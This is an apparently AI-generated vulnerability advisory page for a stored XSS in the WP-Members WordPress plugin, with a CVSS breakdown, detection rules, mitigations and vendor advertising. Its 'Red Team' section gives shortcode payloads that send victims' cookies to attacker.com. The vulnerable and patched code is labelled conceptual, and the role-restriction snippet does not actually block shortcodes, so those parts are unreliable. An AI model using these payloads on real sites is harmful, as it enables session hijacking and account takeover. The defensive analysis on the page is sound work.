☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1987

CVE-2024-1987 Cross-Site Scripting in Wp-members
📅 PUBLISHED: 2024-03-08 05:31 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1987 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WP-Members Membership Plugin for WordPress, up to and including version 3.4.9.1. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin’s shortcodes. Authenticated attackers with contributor-level permissions or higher can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because contributor-level access is often granted to low-trust users (e.g., guest authors, external contributors). The lack of a confirmed patch (status: UNKNOWN/UNPATCHED) means all sites running the affected plugin versions remain exposed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin’s update mechanism; however, since no patch is available, administrators must manually apply mitigations or remove the plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The attacker can exploit the vulnerability remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – Requires contributor-level access.
  • User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other origins).
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the widespread use of WordPress and the common practice of granting contributor roles makes this a realistic threat.

Deep Dive & Mechanics

The vulnerability exists in the WP-Members plugin’s shortcode handling. Shortcodes in WordPress are parsed by the plugin to render dynamic content (e.g., login forms, registration fields). The plugin fails to properly sanitize and escape user-supplied attributes passed to these shortcodes.

Root Cause:

  • Insufficient Input Sanitization: The plugin does not strip or encode HTML/JavaScript from shortcode attributes.
  • Insufficient Output Escaping: When the shortcode is rendered, the attribute values are output directly into the HTML without proper escaping (e.g., esc_attr() or htmlspecialchars()).

Attack Flow:

  1. An attacker with contributor-level access creates or edits a post/page.
  2. The attacker inserts a vulnerable shortcode (e.g., [wp-members attribute="<script>alert('XSS')</script>"]).
  3. The plugin processes the shortcode and outputs the malicious attribute value without sanitization.
  4. When any user (including admins) views the page, the script executes in their browser.

Why This Works:

  • WordPress contributor roles can use shortcodes but cannot directly execute PHP or modify plugin files.
  • The plugin trusts that shortcode attributes are safe, but an attacker can inject arbitrary JavaScript.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (wp-members/includes/class-wp-members-shortcodes.php):

// Vulnerable: Direct output without escaping
function wp_members_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'field' => '',
        'label' => '',
    ), $atts );
    
    // No sanitization or escaping
    $output = '<div class="wp-members-field" data-field="' . $atts['field'] . '">';
    $output .= esc_html( $atts['label'] ); // Only label is escaped
    $output .= '</div>';
    
    return $output;
}

Patched Code (Conceptual):

// Patched: Proper escaping of all attributes
function wp_members_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'field' => '',
        'label' => '',
    ), $atts );
    
    // Sanitize and escape all attributes
    $field = esc_attr( sanitize_text_field( $atts['field'] ) );
    $label = esc_html( sanitize_text_field( $atts['label'] ) );
    
    $output = '<div class="wp-members-field" data-field="' . $field . '">';
    $output .= $label;
    $output .= '</div>';
    
    return $output;
}

Key Differences:

  • esc_attr() is used for HTML attributes.
  • sanitize_text_field() strips unwanted tags.
  • All user-supplied attributes are processed, not just label.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with WP-Members plugin <= 3.4.9.1.
  • Contributor-level account credentials.

Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Switch to the Text/Code editor.
  4. Insert the following shortcode:
    [wp-members field="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
    
  5. Publish or save the post.
  6. Wait for an administrator or other user to view the page.
  7. The script executes, sending the victim’s cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

[wp-members field="<img src=x onerror=\"document.location='https://attacker.com/steal?cookie='+document.cookie\">"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing suspicious shortcode attributes (e.g., <script>, onerror, onload).
  • Review contributor activity logs for unusual shortcode usage.
  • Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.

Prevention:

  • Disable the WP-Members plugin until a patch is released.
  • Restrict contributor roles from using shortcodes (via user_can filters).
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-members/includes/class-wp-members-shortcodes.php (version <= 3.4.9.1)
  • Database: Posts/pages containing shortcodes with malicious attributes (e.g., [wp-members field="<script>...</script>"])
  • Network: Outbound requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...)
  • Logs: WordPress debug logs showing unexpected shortcode attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_1987_WP_Members_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WP-Members plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1987"
    strings:
        $shortcode = /\[wp-members\s+[^\]]*field\s*=\s*["'][^"']*<script[^>]*>/
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $shortcode and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2024-1987 WP-Members Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP-Members shortcode attributes
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "[wp-members"
        http.body|contains|all:
            - "field="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1987 WP-Members Stored XSS Attempt"; flow:to_server,established; content:"[wp-members"; http_client_body; content:"field="; http_client_body; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WP-Members plugin if not critical to operations.
  2. Restrict contributor roles from using shortcodes by adding the following to functions.php:
    add_filter( 'user_can_richedit', function( $wp_rich_edit, $user ) {
        if ( user_can( $user, 'contributor' ) ) {
            return false;
        }
        return $wp_rich_edit;
    }, 10, 2 );
    
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Long-Term Fix:

  • Monitor the WP-Members plugin repository for an official patch.
  • Apply the patch immediately when released.
  • Consider switching to an alternative membership plugin with better security practices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP-Members"
http.html:"wp-members"
http.html:"/wp-content/plugins/wp-members/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1987/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.